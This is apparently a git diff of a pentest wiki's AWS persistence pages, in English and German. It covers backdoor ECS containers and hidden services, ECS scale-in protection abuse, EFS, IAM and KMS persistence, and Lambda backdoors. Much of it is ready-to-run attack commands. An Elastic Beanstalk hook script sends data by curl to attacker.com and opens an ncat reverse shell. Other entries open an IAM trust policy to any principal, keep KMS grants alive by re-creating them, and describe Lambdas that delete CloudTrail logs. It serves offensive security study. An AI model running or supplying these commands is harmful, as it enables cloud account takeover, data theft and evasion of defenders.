# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'
```
### Undocumented ECS Service
> [!NOTE]
> TODO: Test
An attacker can create an **undocumented ECS service** that runs a malicious task. By setting the desired number of tasks to a minimum and disabling logging, it becomes harder for administrators to notice the malicious service.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,152 +0,0 @@
# AWS - ECS Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## ECS
Für weitere Informationen siehe:
{{#ref}}
../../aws-services/aws-ecs-enum.md
{{#endref}}
### Versteckte periodische ECS-Task
> [!NOTE]
> TODO: Testen
Ein Angreifer kann mit Amazon EventBridge eine versteckte periodische ECS-Task erstellen, um **periodisch die Ausführung einer bösartigen Task zu planen**. Diese Task kann reconnaissance durchführen, exfiltrate data oder persistence im AWS-Account aufrechterhalten.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"
# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'
```
### Backdoor Container in Existing ECS Task Definition
> [!NOTE]
> TODO: Testen
Ein Angreifer kann einen **stealthy backdoor container** in einer bestehenden ECS task definition hinzufügen, der neben legitimen containers läuft. Der backdoor container kann für persistence und zur Durchführung bösartiger Aktivitäten verwendet werden.
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'
```
### Undokumentierter ECS-Service
> [!NOTE]
> TODO: Testen
Ein Angreifer kann einen **undokumentierten ECS-Service** erstellen, der einen bösartigen Task ausführt. Wenn die gewünschte Anzahl an Tasks auf ein Minimum gesetzt und die Protokollierung deaktiviert wird, ist es für Administratoren schwieriger, den bösartigen Service zu bemerken.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'
# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"
```
### ECS Persistence via Task Scale-In Protection (UpdateTaskProtection)
Missbrauche ecs:UpdateTaskProtection, um zu verhindern, dass service tasks durch scalein events und rolling deployments gestoppt werden. Durch das kontinuierliche Verlängern des Schutzes kann ein Angreifer eine lang laufende Task (für C2 oder Datensammlung) am Laufen halten, selbst wenn Verteidiger desiredCount reduzieren oder neue task revisions ausrollen.
Schritte zur Reproduktion in us-east-1:
```bash
# 1) Cluster (create if missing)
CLUSTER=$(aws ecs list-clusters --query 'clusterArns[0]' --output text 2>/dev/null)
[ -z "$CLUSTER" -o "$CLUSTER" = "None" ] && CLUSTER=$(aws ecs create-cluster --cluster-name ht-ecs-persist --query 'cluster.clusterArn' --output text)
# 2) Minimal backdoor task that just sleeps (Fargate/awsvpc)
cat > /tmp/ht-persist-td.json << 'JSON'
{
"family": "ht-persist",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"containerDefinitions": [
{"name": "idle","image": "public.ecr.aws/amazonlinux/amazonlinux:latest",
"command": ["/bin/sh","-c","sleep 864000"]}
]
}
JSON
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
# 3) Create service (use default VPC public subnet + default SG)
VPC=$(aws ec2 describe-vpcs --filters Name=isDefault,Values=true --query 'Vpcs[0].VpcId' --output text)
SUBNET=$(aws ec2 describe-subnets --filters Name=vpc-id,Values=$VPC Name=map-public-ip-on-launch,Values=true --query 'Subnets[0].SubnetId' --output text)
SG=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$VPC Name=group-name,Values=default --query 'SecurityGroups[0].GroupId' --output text)
aws ecs create-service --cluster "$CLUSTER" --service-name ht-persist-svc \
--task-definition ht-persist --desired-count 1 --launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[$SUBNET],securityGroups=[$SG],assignPublicIp=ENABLED}"
# 4) Get running task ARN
TASK=$(aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING --query 'taskArns[0]' --output text)
# 5) Enable scale-in protection for 24h and verify
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --protection-enabled --expires-in-minutes 1440
aws ecs get-task-protection --cluster "$CLUSTER" --tasks "$TASK"
# 6) Try to scale service to 0 (task should persist)
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0
aws ecs list-tasks --cluster "$CLUSTER" --service-name ht-persist-svc --desired-status RUNNING
# Optional: rolling deployment blocked by protection
aws ecs register-task-definition --cli-input-json file:///tmp/ht-persist-td.json >/dev/null
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --task-definition ht-persist --force-new-deployment
aws ecs describe-services --cluster "$CLUSTER" --services ht-persist-svc --query 'services[0].events[0]'
# 7) Cleanup
aws ecs update-task-protection --cluster "$CLUSTER" --tasks "$TASK" --no-protection-enabled || true
aws ecs update-service --cluster "$CLUSTER" --service ht-persist-svc --desired-count 0 || true
aws ecs delete-service --cluster "$CLUSTER" --service ht-persist-svc --force || true
aws ecs deregister-task-definition --task-definition ht-persist || true
```
Auswirkung: Eine geschützte Task bleibt RUNNING trotz desiredCount=0 und blockiert Ersatz während neuer Deployments, wodurch eine heimliche, langanhaltende Persistenz innerhalb des ECS-Service ermöglicht wird.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,25 @@
# AWS - EFS Persistence
{{#include ../../../banners/hacktricks-training.md}}
## EFS
For more information check:
{{#ref}}
../aws-services/aws-efs-enum.md
{{#endref}}
### Modify Resource Policy / Security Groups
Modifying the **resource policy and/or security groups** you can try to persist your access into the file system.
### Create Access Point
You could **create an access point** (with root access to `/`) accessible from a service were you have implemented **other persistence** to keep privileged access to the file system.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,21 +0,0 @@
# AWS - EFS Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## EFS
Für weitere Informationen siehe:
{{#ref}}
../../aws-services/aws-efs-enum.md
{{#endref}}
### Modify Resource Policy / Security Groups
Durch Ändern der **resource policy and/or security groups** können Sie versuchen, Ihren Zugriff auf das Dateisystem beizubehalten.
### Create Access Point
Sie könnten **create an access point** (mit root-Zugriff auf `/`) erstellen, der von einem Service aus zugänglich ist, in dem Sie **other persistence** implementiert haben, um privilegierten Zugriff auf das Dateisystem aufrechtzuerhalten.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,81 @@
# AWS - Elastic Beanstalk Persistence
{{#include ../../../banners/hacktricks-training.md}}
## Elastic Beanstalk
For more information check:
{{#ref}}
../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
### Persistence in Instance
In order to maintain persistence inside the AWS account, some **persistence mechanism could be introduced inside the instance** (cron job, ssh key...) so the attacker will be able to access it and steal IAM role **credentials from the metadata service**.
### Backdoor in Version
An attacker could backdoor the code inside the S3 repo so it always execute its backdoor and the expected code.
### New backdoored version
Instead of changing the code on the actual version, the attacker could deploy a new backdoored version of the application.
### Abusing Custom Resource Lifecycle Hooks
> [!NOTE]
> TODO: Test
Elastic Beanstalk provides lifecycle hooks that allow you to run custom scripts during instance provisioning and termination. An attacker could **configure a lifecycle hook to periodically execute a script that exfiltrates data or maintains access to the AWS account**.
```bash
# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml
# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,75 +0,0 @@
# AWS - Elastic Beanstalk Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## Elastic Beanstalk
Für weitere Informationen siehe:
{{#ref}}
../../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
### Persistenz auf der Instance
Um Persistenz im AWS-Account zu erhalten, könnte auf der Instance ein **Persistenzmechanismus eingeführt werden** (cron job, ssh key...), sodass der Angreifer darauf zugreifen und IAM-Rollen-**credentials vom metadata service** stehlen kann.
### Backdoor in Version
Ein Angreifer könnte den Code im S3 repo backdooren, sodass er immer seine Backdoor und den erwarteten Code ausführt.
### Neue backdoored Version
Anstatt den Code in der aktuellen Version zu ändern, könnte der Angreifer eine neue backdoored Version der Anwendung deployen.
### Missbrauch von Custom Resource Lifecycle Hooks
> [!NOTE]
> TODO: Testen
Elastic Beanstalk stellt lifecycle hooks bereit, mit denen du custom scripts während der instance provisioning und termination ausführen kannst. Ein Angreifer könnte **einen lifecycle hook konfigurieren, der periodisch ein Script ausführt, das Daten exfiltrates oder den Zugriff auf das AWS-Konto aufrechterhält**.
```bash
# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh
# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh
# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml
# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,53 @@
# AWS - IAM Persistence
{{#include ../../../banners/hacktricks-training.md}}
## IAM
For more information access:
{{#ref}}
../aws-services/aws-iam-enum.md
{{#endref}}
### Common IAM Persistence
- Create a user
- Add a controlled user to a privileged group
- Create access keys (of the new user or of all users)
- Grant extra permissions to controlled users/groups (attached policies or inline policies)
- Disable MFA / Add you own MFA device
- Create a Role Chain Juggling situation (more on this below in STS persistence)
### Backdoor Role Trust Policies
You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": ["*", "arn:aws:iam::123213123123:root"]
},
"Action": "sts:AssumeRole"
}
]
}
```
### Backdoor Policy Version
Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group.
### Backdoor / Create Identity Provider
If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,47 +0,0 @@
# AWS - IAM Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## IAM
Für weitere Informationen siehe:
{{#ref}}
../../aws-services/aws-iam-enum.md
{{#endref}}
### Häufige IAM Persistence
- Einen Benutzer erstellen
- Einen kontrollierten Benutzer zu einer privilegierten Gruppe hinzufügen
- Zugriffsschlüssel erstellen (des neuen Benutzers oder aller Benutzer)
- Kontrollierten Benutzern/Gruppen zusätzliche Berechtigungen gewähren (attached policies oder inline policies)
- MFA deaktivieren / eigenes MFA-Gerät hinzufügen
- Eine Role Chain Juggling-Situation erstellen (mehr dazu weiter unten in STS persistence)
### Backdoor Role Trust Policies
Du könntest eine trust policy backdooren, um sie für eine externe Ressource, die du kontrollierst (oder für alle), annehmen zu können:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": ["*", "arn:aws:iam::123213123123:root"]
},
"Action": "sts:AssumeRole"
}
]
}
```
### Backdoor Policy-Version
Gewähre einer Policy in einer nicht letzten Version Administratorrechte (die letzte Version sollte legitim wirken), und weise dann diese Version der Policy einem kontrollierten Benutzer/einer Gruppe zu.
### Backdoor / Identitätsanbieter erstellen
Wenn das Konto bereits einem gängigen Identitätsanbieter (z. B. Github) vertraut, könnten die Bedingungen des Vertrauens so erweitert werden, dass ein Angreifer sie ausnutzen kann.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,43 @@
# AWS - KMS Persistence
{{#include ../../../banners/hacktricks-training.md}}
## KMS
For mor information check:
{{#ref}}
../aws-services/aws-kms-enum.md
{{#endref}}
### Grant acces via KMS policies
An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information.
### Eternal Grant
Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key.
Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated.
(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
--key-id <key-id> \
--grantee-principal <user_arn> \
--operations "CreateGrant" "Decrypt"
# To monitor grants
aws kms list-grants --key-id <key-id>
```
> [!NOTE]
> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,37 +0,0 @@
# AWS - KMS Persistence
{{#include ../../../../banners/hacktricks-training.md}}
## KMS
Für mehr Informationen siehe:
{{#ref}}
../../aws-services/aws-kms-enum.md
{{#endref}}
### Grant-Zugriff via KMS policies
Ein Angreifer könnte die Berechtigung **`kms:PutKeyPolicy`** verwenden, um einem unter seiner Kontrolle stehenden Benutzer oder sogar einem externen Account **Zugriff** auf einen Key zu geben. Check the [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) für mehr Informationen.
### Eternal Grant
Grants sind eine weitere Möglichkeit, einem principal bestimmte Berechtigungen für einen spezifischen key zu geben. Es ist möglich, ein grant zu vergeben, das einem Benutzer erlaubt, grants zu erstellen. Außerdem kann ein Benutzer mehrere grants (sogar identische) für denselben key haben.
Daher ist es möglich, dass ein Benutzer 10 grants mit allen Berechtigungen hat. Der Angreifer sollte dies konstant überwachen. Und wenn zu irgendeinem Zeitpunkt 1 grant entfernt wird, sollten weitere 10 erzeugt werden.
(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
--key-id <key-id> \
--grantee-principal <user_arn> \
--operations "CreateGrant" "Decrypt"
# To monitor grants
aws kms list-grants --key-id <key-id>
```
> [!NOTE]
> Ein grant kann Berechtigungen nur aus diesem Bereich erteilen: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Lambda
Weitere Informationen:
For more information check:
{{#ref}}
../../aws-services/aws-lambda-enum.md
@@ -12,7 +12,7 @@ Weitere Informationen:
### Lambda Layer Persistence
Es ist möglich, **introduce/backdoor a layer to execute arbitrary code** die beim Aufruf der Lambda heimlich Code ausführt:
It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
{{#ref}}
aws-lambda-layers-persistence.md
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
### Lambda Extension Persistence
Durch Missbrauch von Lambda Layers ist es außerdem möglich, extensions zu missbrauchen und in der Lambda persistent zu bleiben sowie Anfragen zu stehlen und zu verändern.
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
{{#ref}}
aws-abusing-lambda-extensions.md
@@ -28,106 +28,41 @@ aws-abusing-lambda-extensions.md
### Via resource policies
Es ist möglich, externen Accounts Zugriff auf verschiedene Lambda-Aktionen (z. B. invoke oder update code) zu gewähren:
It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
### Versions, Aliases & Weights
Eine Lambda kann unterschiedliche Versionen haben (mit für jede Version unterschiedlichem Code).\
Anschließend kann man unterschiedliche Aliases mit unterschiedlichen Versionen der Lambda erstellen und jedem verschiedene Gewichte zuweisen.\
Auf diese Weise könnte ein Angreifer eine **backdoored version 1** und eine **version 2 with only the legit code** erstellen und **only execute the version 1 in 1%** der Requests ausführen, um unauffällig zu bleiben.
A Lambda can have **different versions** (with different code each version).\
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
### Version Backdoor + API Gateway
1. Kopiere den Originalcode der Lambda
2. **Create a new version backdooring** den Originalcode (oder nur mit bösartigem Code). Veröffentliche und **deploy that version** zu $LATEST
1. Rufe das API Gateway, das mit der Lambda verbunden ist, auf, um den Code auszuführen
3. **Create a new version with the original code**, Veröffentliche und **deploy that version** zu $LATEST.
1. Dies wird den backdoored Code in einer vorherigen Version verbergen
4. Gehe zum API Gateway und **create a new POST method** (oder wähle eine andere Methode), die die backdoored Version der Lambda ausführt: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Beachte das abschließende :1 der arn **indicating the version of the function** (Version 1 wird in diesem Szenario die backdoored sein).
5. Wähle die erstellte POST-Methode aus und wähle unter Actions **`Deploy API`**
6. Nun, wenn du die Funktion via POST aufrufst, wird dein **Backdoor** ausgeführt
1. Copy the original code of the Lambda
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
1. Call the API gateway related to the lambda to execute the code
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
1. This will hide the backdoored code in a previous version
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
5. Select the POST method created and in Actions select **`Deploy API`**
6. Now, when you **call the function via POST your Backdoor** will be invoked
### Cron/Event actuator
Die Tatsache, dass man **lambda functions run when something happen or when some time pass** kann, macht Lambda zu einer beliebten Methode, um Persistenz zu erreichen und Erkennung zu vermeiden.\
Hier einige Ideen, um deine **presence in AWS more stealth by creating lambdas** zu erhöhen:
The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
- Jedes Mal, wenn ein neuer Benutzer erstellt wird, generiert Lambda einen neuen Benutzerkey und sendet ihn an den Angreifer.
- Jedes Mal, wenn eine neue Rolle erstellt wird, gewährt Lambda kompromittierten Benutzern assume role-Berechtigungen.
- Jedes Mal, wenn neue cloudtrail logs erzeugt werden, lösche/ändere sie
- Every time a new user is created lambda generates a new user key and send it to the attacker.
- Every time a new role is created lambda gives assume role permissions to compromised users.
- Every time new cloudtrail logs are generated, delete/alter them
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
Missbrauche die Umgebungsvariable `AWS_LAMBDA_EXEC_WRAPPER`, um ein vom Angreifer kontrolliertes Wrapper-Skript auszuführen, bevor runtime/handler startet. Liefere den Wrapper über eine Lambda Layer unter `/opt/bin/htwrap`, setze `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap` und rufe dann die Funktion auf. Der Wrapper läuft im Prozess des Function-Runtimes, erbt die Function Execution Rolle und macht schließlich ein `exec` des echten Runtimes, sodass der originale Handler normal ausgeführt wird.
{{#ref}}
aws-lambda-exec-wrapper-persistence.md
{{#endref}}
### AWS - Lambda Function URL Public Exposure
Missbrauche Lambda asynchronous destinations zusammen mit der Recursion-Konfiguration, um eine Funktion kontinuierlich selbst erneut aufzurufen, ohne externen Scheduler (kein EventBridge, cron, etc.). Standardmäßig beendet Lambda rekursive Schleifen, aber durch Setzen der Recursion-Konfiguration auf Allow werden diese wieder aktiviert. Destinations liefern auf Service-Seite für async invokes, daher erzeugt ein einzelner Seed invoke einen unauffälligen, codefreien Heartbeat/Backdoor-Kanal. Optional kannst du mit reserved concurrency drosseln, um das Rauschen gering zu halten.
{{#ref}}
aws-lambda-async-self-loop-persistence.md
{{#endref}}
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
Erstelle eine versteckte Lambda-Version mit Angreifer-Logic und scope eine resource-based policy auf diese spezifische Version (oder Alias) mit dem Parameter `--qualifier` in `lambda add-permission`. Gewähre nur `lambda:InvokeFunction` auf `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` an ein Angreifer-Principal. Normale Aufrufe über den Funktionsnamen oder den primären Alias bleiben unbeeinträchtigt, während der Angreifer die backdoored Version-ARN direkt aufrufen kann.
Das ist unauffälliger als das Offenlegen einer Function URL und ändert nicht den primären Traffic-Alias.
{{#ref}}
aws-lambda-alias-version-policy-backdoor.md
{{#endref}}
### Freezing AWS Lambda Runtimes
Ein Angreifer, der über die Berechtigungen lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig und lambda:GetRuntimeManagementConfig verfügt, kann die Runtime-Management-Konfiguration einer Funktion ändern. Dieser Angriff ist besonders effektiv, wenn das Ziel darin besteht, eine Lambda-Funktion auf einer verwundbaren Runtime-Version zu belassen oder die Kompatibilität mit bösartigen Layers zu erhalten, die mit neueren Runtimes inkompatibel sein könnten.
Der Angreifer ändert die runtime management configuration, um die Runtime-Version zu fixieren:
```bash
# Invoke the function to generate runtime logs
aws lambda invoke \
--function-name $TARGET_FN \
--payload '{}' \
--region us-east-1 /tmp/ping.json
sleep 5
# Freeze automatic runtime updates on function update
aws lambda put-runtime-management-config \
--function-name $TARGET_FN \
--update-runtime-on FunctionUpdate \
--region us-east-1
```
Überprüfen Sie die angewendete Konfiguration:
```bash
aws lambda get-runtime-management-config \
--function-name $TARGET_FN \
--region us-east-1
```
Optional: Auf eine bestimmte Runtime-Version festlegen
```bash
# Extract Runtime Version ARN from INIT_START logs
RUNTIME_ARN=$(aws logs filter-log-events \
--log-group-name /aws/lambda/$TARGET_FN \
--filter-pattern "INIT_START" \
--query 'events[0].message' \
--output text | grep -o 'Runtime Version ARN: [^,]*' | cut -d' ' -f4)
```
An eine bestimmte Runtime-Version binden:
```bash
aws lambda put-runtime-management-config \
--function-name $TARGET_FN \
--update-runtime-on Manual \
--runtime-version-arn $RUNTIME_ARN \
--region us-east-1
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,42 +1,46 @@
# AWS - Missbrauch von Lambda-Erweiterungen
# AWS - Abusing Lambda Extensions
{{#include ../../../../banners/hacktricks-training.md}}
## Lambda-Erweiterungen
## Lambda Extensions
Lambda-Erweiterungen verbessern Funktionen, indem sie sich mit verschiedenen **Überwachungs-, Beobachtungs-, Sicherheits- und Governance-Tools** integrieren. Diese Erweiterungen, die über [.zip-Archive mit Lambda-Schichten](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) hinzugefügt oder in [Container-Image-Bereitstellungen](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) enthalten sind, arbeiten in zwei Modi: **intern** und **extern**.
Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
- **Interne Erweiterungen** verschmelzen mit dem Laufzeitprozess und manipulieren dessen Start mit **sprachspezifischen Umgebungsvariablen** und **Wrapper-Skripten**. Diese Anpassung gilt für eine Reihe von Laufzeiten, einschließlich **Java Correto 8 und 11, Node.js 10 und 12 sowie .NET Core 3.1**.
- **Externe Erweiterungen** laufen als separate Prozesse und halten die Betriebsanpassung an den Lebenszyklus der Lambda-Funktion aufrecht. Sie sind mit verschiedenen Laufzeiten wie **Node.js 10 und 12, Python 3.7 und 3.8, Ruby 2.5 und 2.7, Java Corretto 8 und 11, .NET Core 3.1** und **benutzerdefinierten Laufzeiten** kompatibel.
- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
Für weitere Informationen darüber, [**wie Lambda-Erweiterungen funktionieren, siehe die Dokumentation**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
### Externe Erweiterung für Persistenz, Stehlen von Anfragen & Modifizieren von Anfragen
### External Extension for Persistence, Stealing Requests & modifying Requests
Dies ist eine Zusammenfassung der in diesem Beitrag vorgeschlagenen Technik: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
Es wurde festgestellt, dass der Standard-Linux-Kernel in der Lambda-Laufzeitumgebung mit den Systemaufrufen “**process_vm_readv**” und “**process_vm_writev**” kompiliert ist. Und alle Prozesse laufen mit derselben Benutzer-ID, selbst der neue Prozess, der für die externe Erweiterung erstellt wurde. **Das bedeutet, dass eine externe Erweiterung vollen Lese- und Schreibzugriff auf den Heap-Speicher von Rapid hat, per Design.**
It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapids heap memory, by design.**
Darüber hinaus haben Lambda-Erweiterungen die Fähigkeit, **sich für Aufrufereignisse anzumelden**, jedoch gibt AWS die Rohdaten nicht an diese Erweiterungen weiter. Dies stellt sicher, dass **Erweiterungen keinen Zugriff auf sensible Informationen** haben, die über die HTTP-Anfrage übertragen werden.
